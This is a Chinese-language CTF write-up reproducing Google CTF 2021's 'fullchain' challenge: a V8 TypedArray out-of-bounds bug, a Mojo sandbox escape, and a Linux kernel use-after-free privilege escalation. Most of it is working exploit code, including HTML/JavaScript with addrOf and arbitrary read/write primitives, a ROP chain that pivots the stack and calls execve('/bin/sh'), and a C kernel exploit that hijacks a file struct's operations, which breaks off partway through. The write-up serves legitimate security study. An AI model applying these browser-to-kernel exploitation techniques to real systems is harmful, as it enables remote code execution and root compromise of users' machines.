2021-google-ctf-pwn-fullchain
2021 google ctf 一道 pwn 题的复现,正如题目的名字,这是一条利用链,从 v8 到 sandbox-escape 再到 kernel pwn 提权
环境搭建
官方附件:
https://storage.googleapis.com/gctf-2021-attachments-project/c12856fc6c010d643763e678265f7921b7a44dcd7bcb5ced32634d21dfdff0c5f9542d6a5bdcc6639d8834ab1ff25b263affd8952b11e972c2066aa3cae71540
官方题目源码:https://github.com/google/google-ctf/tree/master/2021/quals/pwn-fullchain
(环境很大,要搭建很久)
远程环境:fullchain.2021.ctfcompetition.com 1337
chromium 的 commit 为:1be58e78c7ec6603d416aed4dfae757334cd4e1e
为了方便地调试 v8 的漏洞,需要搭建一下 v8 的环境,可以在下面的链接找到对应的 v8 commit :https://chromium.googlesource.com/chromium/src/+/1be58e78c7ec6603d416aed4dfae757334cd4e1e/DEPS
找到到 v8_revision
字段,得到 commit
...
'v8_revision': '0cf641358acebb26c2b7ddc047b1b41597d344c8',
...
搭建 v8 的调试环境即可
漏洞分析
题目要求输入一个 html 文件,交给 chrome 解析,flag 在 /dev/vdb
里,并且要 root 权限
那么要从 chrome 任意代码执行,然后 kernel pwn 提权了
从 chrome 到任意代码执行
先来看看 chrome,题目用两个 patch 构造了两个 bug,分别对应 v8 和 Mojo
v8_bug.patch:
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..ac5ebe9913 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
if (targetOffsetOverflowed) goto IfOffsetOutOfBounds;
// 9. Let targetLength be target.[[ArrayLength]].
- const targetLength = target.length;
+ // const targetLength = target.length;
// 19. Let srcLength be typedArray.[[ArrayLength]].
const srcLength: uintptr = typedArray.length;
@@ -207,8 +207,8 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
// 21. If srcLength + targetOffset > targetLength, throw a RangeError
// exception.
- CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
- otherwise IfOffsetOutOfBounds;
+ // CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
+ // otherwise IfOffsetOutOfBounds;
// 12. Let targetName be the String value of target.[[TypedArrayName]].
// 13. Let targetType be the Element Type value in Table 62 for
这个 patch 很简单,把 TypedArray 的 set 方法的边界检查给去掉了
set 方法是从指定索引开始给数组填充数据,没有了边界检查,那么就可以越界写了
从越界写构造任意读写,那么就可以做很多事情了,当然了执行 shellcode 拿 shell 是不行的,因为 chrome 开启了 sandbox,v8 引擎的进程运行在 sandbox 中,很多系统调用如 execve 都无法使用,想要拿到 shell,就要利用接下来的 Mojo 的漏洞进行 sandbox-escape 了
来看看 Mojo 的 bug,在文件 sbx_bug.patch 中,patch 给 Mojo 添加了一个 interface,有 ResizeVector,Read,Write 方法如下:
void CtfInterfaceImpl::ResizeVector(uint32_t size,
ResizeVectorCallback callback) {
numbers_.resize(size);
std::move(callback).Run();
}
void CtfInterfaceImpl::Read(uint32_t offset, ReadCallback callback) {
std::move(callback).Run(numbers_[offset]);
}
void CtfInterfaceImpl::Write(double value,
uint32_t offset,
WriteCallback callback) {
numbers_[offset] = value;
std::move(callback).Run();
}
其中 numbers_ 成员是 std::vector 类,可以看到 Read 和 Write 方法都没有对索引进行越界检查,而且 std::vector 类对运算符 []
的重载中,也是没有边界检查的,所以 Read 和 Write 可以任意越界读写,且 Mojo 的进程是不在 sandbox 里的,利用任意越界读写可以在 Mojo 的进程里执行 shellcode 就能拿到 shell
v8 exploit
默认情况下,chrome 是不开启 Mojo 的功能的,需要添加相应的启动参数,但是 chrome 是有一些全局的 flags 控制运行时开启某些功能,开启 Mojo 的 flag 是 is_mojo_js_enabled
和 is_mojo_js_test_enabled
,这两个是布尔类型的变量,通过 v8 的漏洞,将这两个变量改写为 true,重新加载页面即可开启 Mojo
从越界写到越界读写
调试以下代码:
let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
%DebugPrint(b);
%DebugPrint(oob_arr);
%SystemBreak();
可以看到数组 b 的 data_ptr 即数组的起始地址:
以及数组 oob_arr 的信息:
oob_arr 的长度为 4,因为 smi 用最低 bit 为 0 标记,那么 length 在内存中的值为 8,可以看到在如下地址处:
那么越界改写 oob_arr 的 length 字段,即可利用 oob_arr 造成任意越界读写,计算偏移如下:
那么只要 b.set([fake_length], 32)
,即可达到改写 oob_arr 的 length 字段了,后续代码如下:
a.set([444444], 0);
b.set(a, 32);
%SystemBreak();
可以看到 length 字段成功被改写:
addrOf
泄露地址的方式很简单,构造 Float 和 Object 的类型混淆就行,通过 Object 数组放入对象,再利用 oob_arr 越界把对象当作浮点数(也就是对象的地址)读出来即可:
let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
let obj_faker = [{}];
%DebugPrint(b);
%DebugPrint(oob_arr);
%DebugPrint(obj_faker);
%SystemBreak();
调试看到 obj_faker 和 oob_arr 的信息:
计算偏移:
注意: 因为 FixedDoubleArray 每个元素的大小是 8 字节,所以计算索引的时候是除以 8,而 FixedArray 每个元素都是对象的指针或者 smi (小整数),而且是 pointer compress (即指针压缩)的,占用 4 字节,所以 leak 出来的低 4 字节才是对象地址(压缩后的)
根据偏移可以编写 addrOf 函数了:
function addrOf(obj) {
obj_faker[0] = obj;
return oob_arr[7].f2i() & 0xfffffffn
}
为了方便浮点数和整数的转换还添加了下面的代码:
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
AAR/AAW
大多数情况下,可以利用 oob_arr 的越界写,改写 ArrayBuffer 的 backing_store 指针,来进行任意地址读写
不过这里参照 Hatena 师傅的 wp #Hatena_wp,可以利用 TypedArray 类似的字段进行任意地址读写,先看看下面代码:
let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
let obj_faker = [{}];
let float_arr = new Float64Array(1);
%DebugPrint(b);
%DebugPrint(oob_arr);
%DebugPrint(obj_faker);
%DebugPrint(float_arr);
%SystemBreak();
可以看到,data_ptr 由 base_pointer 和 external_pointer 组成:
可以发现 data_ptr = external_pointer + base_pointer,而且这个 external_pointer 含有完整指针的高 4 字节的地址,有了这个也可以得到对象的完整的 64 bit 的地址了
同样地计算偏移后即可构造处任意地址读写:
let old_28 = oob_arr[28]; // external_pointer
let old_29 = oob_arr[29]; // base_pointer
let r13 = old_28.f2i() & 0xffffffff00000000n
console.log('old_28 = ' + old_28.f2i().hex());
console.log('old_29 = ' + old_29.f2i().hex());
function arb_read(addr) {
oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
return float_arr[0].f2i();
}
function arb_write(addr, value) {
oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
float_arr[0] = value.i2f();
}
Enable Mojo
有了任意地址读写和 leak 用的 addrOf,可以先泄露 chrome 的基地址
泄露 chrome 的基地址用到了 DOM 结点对象,这里使用 div ,在 +0xC 偏移处含有一个 chrome 段内的指针,计算可得 chrome 的地址:
let div = document.createElement('div');
let div_addr = addrOf(div) - 1n;
console.log('div_addr = ' + div_addr.hex());
let chrome_base = arb_read(r13 | (div_addr + 0xCn)) - 0x000000000c1bb7c0n;
console.log('chrome_base = ' + chrome_base.hex());
上面的偏移,只能先 leak 出来看看,然后查符号表看看低 12 bits 相同的有哪些一个个试了
最后改写 is_mojo_js_enabled
和 is_mojo_js_test_enabled
为 true(非 0 值)刷新页面:
let is_mojo_js_enabled = chrome_base + 0x000000000c560f0en;
let is_mojo_js_test_enabled = chrome_base + 0x000000000c560f0fn;
// enable mojo
arb_write(is_mojo_js_enabled, 1n);
arb_write(is_mojo_js_test_enabled, 1n);
console.log('mojo enable!');
window.location.reload();
偏移可以通过查符号表获得:
$ nm --demangle chromium/chrome | grep is_mojo
000000000c560f0e b blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_
000000000c560f0f b blink::RuntimeEnabledFeaturesBase::is_mojo_js_test_enabled_
因为刷新页面后,这个页面的 js 对象就要回收了,因为我们改写了 TypedArray 的两个指针,可能会在释放内存的时候 crash,所以需要恢复这两个指针再刷新:
function cleanup() {
oob_arr[28] = old_28;
oob_arr[29] = old_29;
}
cleanup()
window.location.reload();
实际上好像并不会 crash,应该和环境有关
至此,完整的代码如下:
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js"></script>
<script>
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function make_objs() {
let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
let obj_faker = [{}];
let float_arr = new Float64Array(1);
a.set([444444], 0);
b.set(a, 32);
return [oob_arr, obj_faker, float_arr];
}
function enable_mojo() {
let [oob_arr, obj_faker, float_arr] = make_objs();
console.log('oob_arr.length = ' + oob_arr.length);
let old_28 = oob_arr[28]; // external_pointer
let old_29 = oob_arr[29]; // base_pointer
let r13 = old_28.f2i() & 0xffffffff00000000n
console.log('old_28 = ' + old_28.f2i().hex());
console.log('old_29 = ' + old_29.f2i().hex());
function addrOf(obj) {
obj_faker[0] = obj;
return oob_arr[7].f2i() & 0xfffffffn
}
function arb_read(addr) {
oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
return float_arr[0].f2i();
}
function arb_write(addr, value) {
oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
float_arr[0] = value.i2f();
}
let div = document.createElement('div');
let div_addr = addrOf(div) - 1n;
console.log('div_addr = ' + div_addr.hex());
let chrome_base = arb_read(r13 | (div_addr + 0xCn)) - 0x000000000c1bb7c0n;
console.log('chrome_base = ' + chrome_base.hex());
let is_mojo_js_enabled = chrome_base + 0x000000000c560f0en;
let is_mojo_js_test_enabled = chrome_base + 0x000000000c560f0fn;
// enable mojo
arb_write(is_mojo_js_enabled, 1n);
arb_write(is_mojo_js_test_enabled, 1n);
console.log('mojo enable!');
window.location.reload();
}
async function sandbox_escape() {
// ...
}
async function pwn() {
try {
if (typeof(Mojo) === 'undefined') {
console.log("enabling mojo ...");
enable_mojo()
} else {
console.log("sandbox escape ...");
await sandbox_escape();
}
} catch (e) {
console.log(e.stack);
}
}
pwn()
</script>
Sandbox Escape
刷新页面之后就开启了 Mojo,可以开始与 Mojo 交互了
先写好与 CtfInterface 交互的函数:
async function ctfRead(ctf, offset) {
let buf = new ArrayBuffer(8);
let f_b = new Float64Array(buf);
let i_b = new BigUint64Array(buf);
let float_val = await ctf.read(offset).then(r => {return r.value});
f_b[0] = float_val;
return BigInt(i_b[0]);
}
async function ctfWrite(ctf, offset, value) {
let buf = new ArrayBuffer(8);
let f_b = new Float64Array(buf);
let i_b = new BigUint64Array(buf);
i_b[0] = value;
return await ctf.write(f_b[0], offset).then(r => {return r.value});
}
async function ctfResize(ctf, size) {
return await ctf.resizeVector(size).then(r => {return r.value});
}
function ctfCreate() {
let ctf = new blink.mojom.CtfInterfacePtr;
let req = new mojo.makeRequest(ctf);
Mojo.bindInterface(blink.mojom.CtfInterface.name, req.handle);
return ctf;
}
由于与 Mojo 的通信方式大多数是回调的方式(从 C++ 源码中也可以发现),基本都是异步的,为了方便,使用 async 的函数来写
Mojo 与 v8 运行在不同的进程里,我们还要 leak 出 Mojo 所在进程的地址,才能在后续构造 ROP 拿 shell
逆向可以发现 Ctf 对象存在如下结构:
+ 0x00 vtable_ptr
+ 0x08 vector_base
+ 0x10 vector_end
只要通过越界写,更改 vtable_ptr 即可劫持虚表,从而劫持程序控制流,控制 vector_base
和 vector_base
字段还可以方便的进行任意地址的读写
find Ctf Object
由于 Mojo 对象的内存地址不稳定, 需要不断的分配对象,根据特征,直到找到为止:
let vec_base = 0;
let vec_end = 0;
let size = 4;
let rop_len = 0x10;
let vtable = 0;
let vtable_offset = 0;
let ctf, arb;
console.log('finding vector address...');
while (vtable_offset == 0) {
ctf = ctfCreate();
arb = ctfCreate();
await ctfResize(ctf, size);
await ctfResize(arb, rop_len);
for (let i = 0; i < size; i++) {
await ctfWrite(ctf, i, 0xfebabedeadbeefn);
}
for (let i = 0; i < rop_len; i++) {
await ctfWrite(arb, i, 0xfebabedeadbeefn);
}
for (let i = 4; i < 0x1000; i++) {
let val = await ctfRead(ctf, i);
if ((val & 0xfffn) == 0x4e0n) { //(vtable & 0xfff) == 0x4e0
let base = await ctfRead(ctf, i+1);
let end = await ctfRead(ctf, i+2);
if (end > base && Number(end - base) == 8 * rop_len) { // found!
vtable = BigInt(val);
vec_base = BigInt(base);
vec_end = BigInt(end);
vtable_offset = i;
console.log(`${vtable_offset}: vtable = 0x${vtable.toString(16)}, vec_base = 0x${vec_base.toString(16)}, vec_end = 0x${vec_end.toString(16)}`);
break;
}
}
} // for (let i = 4; i < 0x1000; i++)
} // while (vec_base == 0)
同时得知了 Ctf 对象的虚表指针,可以计算得到程序的基址:
let chrome_base = vtable - 0xbc774e0n;
然后还可以构造任意地址读写:
async function arb_read(addr) {
await ctfWrite(ctf, vtable_offset+1, addr);
await ctfWrite(ctf, vtable_offset+2, addr+8n);
let val = await ctfRead(arb, 0);
await ctfWrite(ctf, vtable_offset+1, vec_base);
await ctfWrite(ctf, vtable_offset+2, vec_end);
return val;
}
async function arb_write(addr, val) {
await ctfWrite(ctf, vtable_offset+1, addr);
await ctfWrite(ctf, vtable_offset+2, addr+8n);
let val = await ctfWrite(arb, 0, val);
await ctfWrite(ctf, vtable_offset+1, vec_base);
await ctfWrite(ctf, vtable_offset+2, vec_end);
return val;
}
不过最终的 exp 中没有用到上面的任意地址读写的函数
ROP
为什么要使用 ROP,而不是利用上面的任意地址读写,来泄露 libc 地址再改 __free_hook
的方式呢?
有多种原因:
- 题目没有给 libc,泄露了 libc 地址,还得麻烦去查是上面版本的 libc
- 程序是 C++,调试的时候发现,malloc 和 free 都不是 glibc 里的 malloc 和 free,实际是 C++ 的 allocator,虽然调试的时候发现同样有类似的 hook,但是参数不好控制
- 程序使用了 execve,只要知道程序基址,很容易就可以算出 plt 的位置,不需要过多的 leak
要想 ROP 就要控制栈,直接布局 ROP 在栈上是不太可能的,可以考虑栈迁移
调试下 chrome:
$ python3 -m http.server &
$ gdb chromium/chrome
set args --headless --disable-gpu --remote-debugging-port=9222 --user-data-dir=/tmp/userdata --enable-logging=stderr --js-flags="--allow-natives-syntax" http://127.0.0.1:8000/exploit.html
set follow-fork-mode parent
b CtfInterfaceImpl::Read(unsigned int, base::OnceCallback<void (double)>)
r
可以发现调用方法的时候,rax 寄存器存的就是虚表的指针:
程序含有 xchg rax, rsp; ret
的 gadget,那么可以栈迁移到虚表的地方进行 ROP,可以先伪造一个虚表,布置 ROP,然后改写 vtable 指针指向伪造的虚表,触发 xchg rax, rsp; ret
后栈迁移进行 ROP,执行 execve("/bin/sh", {NULL}, {NULL}
即可:
let fake_vtable = vec_base;
let rop_base = vec_base;
await ctfWrite(arb, 0, chrome_base + 0x3d994e1n); // add rsp, 0x20; pop rbp; ret;
await ctfWrite(arb, 2, chrome_base + 0x590510en); // xchg rax, rsp; ret; -> ResizeVector (rax = vtable)
await ctfWrite(arb, 6, chrome_base + 0x37bb280n); // pop rdi
await ctfWrite(arb, 7, rop_base+14n*8n); // addrOf"/bin/sh"
await ctfWrite(arb, 8, chrome_base + 0x099b8ee0n); // pop rsi
await ctfWrite(arb, 9, rop_base + 13n * 8n); // args
await ctfWrite(arb, 10, chrome_base + 0x3655332n); // pop rdx
await ctfWrite(arb, 11, rop_base + 13n * 8n); // env
await ctfWrite(arb, 12, execve_plt);
// env
// await ctfWrite(arb, 13, rop_base + 14n * 8n); // addrOf"/bin/sh"
await ctfWrite(arb, 13, 0n); // NULL
await ctfWrite(arb, 14, 0x68732f6e69622fn); // "/bin/sh"
await ctfWrite(arb, 15, 0n); // NULL
console.log('change vtable ...');
await ctfWrite(ctf, vtable_offset, fake_vtable);
console.log('pwn!');
await ctfResize(arb, 0x2333);
最终从 chrome 到拿 shell 的完整 exp 如下:
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js"></script>
<script>
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function make_objs() {
let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
let obj_faker = [{}];
let float_arr = new Float64Array(1);
a.set([444444], 0);
b.set(a, 32);
return [oob_arr, obj_faker, float_arr];
}
function enable_mojo() {
let [oob_arr, obj_faker, float_arr] = make_objs();
console.log('oob_arr.length = ' + oob_arr.length);
let old_28 = oob_arr[28]; // external_pointer
let old_29 = oob_arr[29]; // base_pointer
let r13 = old_28.f2i() & 0xffffffff00000000n
console.log('old_28 = ' + old_28.f2i().hex());
console.log('old_29 = ' + old_29.f2i().hex());
function addrOf(obj) {
obj_faker[0] = obj;
return oob_arr[7].f2i() & 0xfffffffn
}
function arb_read(addr) {
oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
return float_arr[0].f2i();
}
function arb_write(addr, value) {
oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
float_arr[0] = value.i2f();
}
let div = document.createElement('div');
let div_addr = addrOf(div) - 1n;
console.log('div_addr = ' + div_addr.hex());
let chrome_base = arb_read(r13 | (div_addr + 0xCn)) - 0x000000000c1bb7c0n;
console.log('chrome_base = ' + chrome_base.hex());
let is_mojo_js_enabled = chrome_base + 0x000000000c560f0en;
let is_mojo_js_test_enabled = chrome_base + 0x000000000c560f0fn;
// enable mojo
arb_write(is_mojo_js_enabled, 1n);
arb_write(is_mojo_js_test_enabled, 1n);
console.log('mojo enable!');
window.location.reload();
}
async function sandbox_escape() {
async function ctfRead(ctf, offset) {
let buf = new ArrayBuffer(8);
let f_b = new Float64Array(buf);
let i_b = new BigUint64Array(buf);
let float_val = await ctf.read(offset).then(r => {return r.value});
f_b[0] = float_val;
return BigInt(i_b[0]);
}
async function ctfWrite(ctf, offset, value) {
let buf = new ArrayBuffer(8);
let f_b = new Float64Array(buf);
let i_b = new BigUint64Array(buf);
i_b[0] = value;
return await ctf.write(f_b[0], offset).then(r => {return r.value});
}
async function ctfResize(ctf, size) {
return await ctf.resizeVector(size).then(r => {return r.value});
}
function ctfCreate() {
let ctf = new blink.mojom.CtfInterfacePtr;
let req = new mojo.makeRequest(ctf);
Mojo.bindInterface(blink.mojom.CtfInterface.name, req.handle);
return ctf;
}
let vec_base = 0;
let vec_end = 0;
let size = 4;
let rop_len = 0x10;
let vtable = 0;
let vtable_offset = 0;
let ctf, arb;
console.log('finding vector address...');
while (vtable_offset == 0) {
ctf = ctfCreate();
arb = ctfCreate();
await ctfResize(ctf, size);
await ctfResize(arb, rop_len);
for (let i = 0; i < size; i++) {
await ctfWrite(ctf, i, 0xfebabedeadbeefn);
}
for (let i = 0; i < rop_len; i++) {
await ctfWrite(arb, i, 0xfebabedeadbeefn);
}
for (let i = 4; i < 0x1000; i++) {
let val = await ctfRead(ctf, i);
if ((val & 0xfffn) == 0x4e0n) { //(vtable & 0xfff) == 0x4e0
let base = await ctfRead(ctf, i+1);
let end = await ctfRead(ctf, i+2);
if (end > base && Number(end - base) == 8 * rop_len) { // found!
vtable = BigInt(val);
vec_base = BigInt(base);
vec_end = BigInt(end);
vtable_offset = i;
console.log(`${vtable_offset}: vtable = 0x${vtable.toString(16)}, vec_base = 0x${vec_base.toString(16)}, vec_end = 0x${vec_end.toString(16)}`);
break;
}
}
} // for (let i = 4; i < 0x1000; i++)
} // while (vec_base == 0)
// async function arb_read(addr) {
// await ctfWrite(ctf, vtable_offset+1, addr);
// await ctfWrite(ctf, vtable_offset+2, addr+8n);
// let val = await ctfRead(arb, 0);
// await ctfWrite(ctf, vtable_offset+1, vec_base);
// await ctfWrite(ctf, vtable_offset+2, vec_end);
// return val;
// }
// async function arb_write(addr, val) {
// await ctfWrite(ctf, vtable_offset+1, addr);
// await ctfWrite(ctf, vtable_offset+2, addr+8n);
// let val = await ctfWrite(arb, 0, val);
// await ctfWrite(ctf, vtable_offset+1, vec_base);
// await ctfWrite(ctf, vtable_offset+2, vec_end);
// return val;
// }
let chrome_base = vtable - 0xbc774e0n;
// let execve_got = chrome_base + 0x0000c2cf5f8n;
console.log(`chrome_base = ${chrome_base.hex()}`);
// let execve = await arb_read(execve_got);
let execve_plt = chrome_base + 0xbb89d50n;
// let __libc_start_main_got = chrome_base + 0xC29C0C0n;
// await ctfWrite(ctf, vtable_offset+1, __libc_start_main_got);
// await ctfWrite(ctf, vtable_offset+2, __libc_start_main_got+8n);
// let __libc_start_main = await ctfRead(arb, 0);
// console.log(`printf = ${__libc_start_main.hex()}`);
// let lbase = __libc_start_main - 0x26fc0n;
// let system = lbase + 0x55410n
// // restore
// await ctfWrite(ctf, vtable_offset+1, vec_base);
// await ctfWrite(ctf, vtable_offset+2, vec_end);
console.log('write rop ...');
let fake_vtable = vec_base;
let rop_base = vec_base;
await ctfWrite(arb, 0, chrome_base + 0x3d994e1n); // add rsp, 0x20; pop rbp; ret;
await ctfWrite(arb, 2, chrome_base + 0x590510en); // xchg rax, rsp; ret; -> ResizeVector (rax = vtable)
await ctfWrite(arb, 6, chrome_base + 0x37bb280n); // pop rdi
await ctfWrite(arb, 7, rop_base+14n*8n); // addrOf"/bin/sh"
await ctfWrite(arb, 8, chrome_base + 0x099b8ee0n); // pop rsi
await ctfWrite(arb, 9, rop_base + 13n * 8n); // args
await ctfWrite(arb, 10, chrome_base + 0x3655332n); // pop rdx
await ctfWrite(arb, 11, rop_base + 13n * 8n); // env
await ctfWrite(arb, 12, execve_plt);
// env
// await ctfWrite(arb, 13, rop_base + 14n * 8n); // addrOf"/bin/sh"
await ctfWrite(arb, 13, 0n); // NULL
await ctfWrite(arb, 14, 0x68732f6e69622fn); // "/bin/sh"
await ctfWrite(arb, 15, 0n); // NULL
console.log('change vtable ...');
await ctfWrite(ctf, vtable_offset, fake_vtable);
console.log('pwn!');
await ctfResize(arb, 0x2333);
}
async function pwn() {
try {
if (typeof(Mojo) === 'undefined') {
console.log("enabling mojo ...");
enable_mojo()
} else {
console.log("sandbox escape ...");
await sandbox_escape();
}
} catch (e) {
console.log(e.stack);
}
}
pwn()
</script>
注意: script 引入的 mojo 目录实际上是题目的 mojo_bindings 目录
简单的 kernel pwn
逃逸拿到 shell 后就是 kernel pwn 提权了,题目直接就给了驱动的源码:
...
struct ctf_data {
char *mem;
size_t size;
};
static struct cdev ctf_cdev;
static const struct file_operations ctf_fops = {
.owner = THIS_MODULE,
.open = ctf_open,
.release = ctf_release,
.read = ctf_read,
.write = ctf_write,
.unlocked_ioctl = ctf_ioctl,
};
static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off)
{
struct ctf_data *ctf_data = f->private_data;
if (size > ctf_data->size) {
return -EINVAL;
}
if (copy_to_user(data, ctf_data->mem, size)) {
return -EFAULT;
}
return size;
}
static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off)
{
struct ctf_data *ctf_data = f->private_data;
if (size > ctf_data->size) {
return -EINVAL;
}
if (copy_from_user(ctf_data->mem, data, size)) {
return -EFAULT;
}
return size;
}
static ssize_t ctf_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
struct ctf_data *data = f->private_data;
char *mem;
switch(cmd) {
case 1337:
if (arg > 2000) {
return -EINVAL;
}
mem = kmalloc(arg, GFP_KERNEL);
if (mem == NULL) {
return -ENOMEM;
}
data->mem = mem;
data->size = arg;
break;
case 1338:
kfree(data->mem);
break;
default:
return -ENOTTY;
}
return 0;
}
static int ctf_open(struct inode *inode, struct file *f)
{
struct ctf_data *data = kzalloc(sizeof(struct ctf_data), GFP_KERNEL);
if (data == NULL) {
return -ENOMEM;
}
f->private_data = data;
return 0;
}
static int ctf_release(struct inode *inode, struct file *f)
{
kfree(f->private_data);
return 0;
}
...
漏洞很简单,free 后指针未置为 NULL,可以 UAF
比较简单的方式是,UAF 修改 cred 结构体,但是题目的内核使用了一种 cred_jar 的安全机制,cred 的分配独立于普通的 malloc,所以无法使用这种方式
那么还可以利用 tty_struct 来劫持程序控制流执行 commit_creds(prepare_kernel_cred(0))
也可以修改 file 结构体的 f_ops 指针来劫持程序控制流,并且 f_ops 调用时,rdi 寄存器指向的就是 file 结构体,可以利用 set_memory_x(addr)
来将 file 结构体的内存设置为可执行,随后布置 shellcode 执行 commit_creds(prepare_kernel_cred(0))
得到 root 权限
这部分比较简单,就直接放出 exp 了,相信结合注释很容易就看懂了:
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#define KERNCALL __attribute__((regparm(3)))
#define PREPARE_KERNEL_CRED 0xffffffff8108c2f0
#define COMMIT_CREDS 0xffffffff8108c0c0
#define SET_MEMORY_X 0xffffffff8105b0d0
struct ctf_data {
char *mem;
size_t size;
};
#define MEM_SCAN_SIZE 0x10000000
uint64_t buffer[MEM_SCAN_SIZE / sizeof(uint64_t)];
int fd[3];
struct ctf_data ctf[2];
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0;
void (*commit_creds)(void*) KERNCALL = (void*) 0;
void shell()
{
system("/bin/sh");
exit(0);
}
ssize_t alloc(int fd, size_t size)
{
return ioctl(fd, 1337, size);
}
ssize_t delete(int fd)
{
return ioctl(fd, 1338, 0);
}
int arb_read(uint64_t addr, void *buf, uint64_t size)
{
ctf[0].mem = (char *)addr;
ctf[0].size = size;
if (write(fd[0], &ctf[0], sizeof(struct ctf_data)) < 0) {
return -1;
}
return read(fd[1], buf, size);
}
int arb_write(uint64_t addr, void *buf, uint64_t size)
{
ctf[0].mem = (char *)addr;
ctf[0].size = size;
if (write(fd[0], &ctf[0], sizeof(struct ctf_data)) < 0) {
return -1;
}
return write(fd[1], buf, size);
}
int main(int argc, char const *argv[])
{
printf("setup uaf...\n");
if ((fd[0] = open("/dev/ctf", O_RDWR)) < 0)
return -1;
alloc(fd[0], sizeof(struct ctf_data));
delete(fd[0]);
if ((fd[1] = open("/dev/ctf", O_RDWR)) < 0)
return -2;
alloc(fd[1], sizeof(struct ctf_data));
delete(fd[1]);
if ((fd[2] = open("/dev/ctf", O_RDWR)) < 0)
return -3;
alloc(fd[2], 2000);
// ctf[0] -> fd[1]'s ctf_data
read(fd[0], &ctf[0], sizeof(struct ctf_data));
// ctf[1] -> fd[2]'s ctf_data
read(fd[1], &ctf[1], sizeof(struct ctf_data));
if (ctf[0].size != sizeof(struct ctf_data)) {
printf("failed to setup uaf(1)\n");
return -3;
}
if (ctf[1].size != 2000) {
printf("failed to setup uaf(2)\n");
return -3;
}
// search file whose private_data point to ctf[0].mem (fd[1]'s ctf_data.mem -> ctf[1])
uint64_t start = (char *)((uint64_t) ctf[0].mem & 0xfffffffff0000000);
uint64_t target = (uint64_t) ctf[0].mem;
printf("from %p to %p search %lx\n", start, start + MEM_SCAN_SIZE, target);
if (arb_read(start, buffer, MEM_SCAN_SIZE) < 0) {
return -4;
}
uint64_t file_addr = -1;
for (uint64_t i = 0; i < ctf[0].size / sizeof(uint64_t); i++) {
if (target == buffer[i] && (((uint64_t)ctf[0].mem+i*sizeof(uint64_t)) & 0xff) == 0xc8) { // offset of file.private_data = 0xc8
printf("found at %p\n", (uint64_t)ctf[0].mem+i*sizeof(uint64_t));
file_addr = (uint64_t)ctf[0].mem+i*sizeof(uint64_t) - 0xc8;
break;
}
}
if (file_addr == -1) {
return -5;
}
printf("leak infomation\n");
if (arb_read(file_addr, buffer, 0x100) < 0) {
return -6;
}
uint64_t vfsmount_ = buffer[2]; // (struct file).f_path.mnt
uint64_t fop = buffer[5]; // (struct file).f_op
printf("vfsmount = %p\n", vfsmount_);
printf("fop = %p\n", fop);
if (arb_read(vfsmount_, buffer, 0x20) < 0) {
return -7;
}
uint64_t init_user_ns = buffer[3]; // vfsmount_.mnt_userns
uint64_t kernel_offset = init_user_ns - 0xffffffff8244c020;
printf("init_user_ns = %p\n", init_user_ns);
printf("save file's memory\n");
uint64_t save_file[0x100];
if (arb_read(file_addr, save_file, sizeof(save_file)) < 0) {
return -8;
}
memcpy(buffer, save_file, sizeof(save_file));
printf("change file's fop\n");
uint64_t fake_fop = (uint64_t) ctf[1].mem;
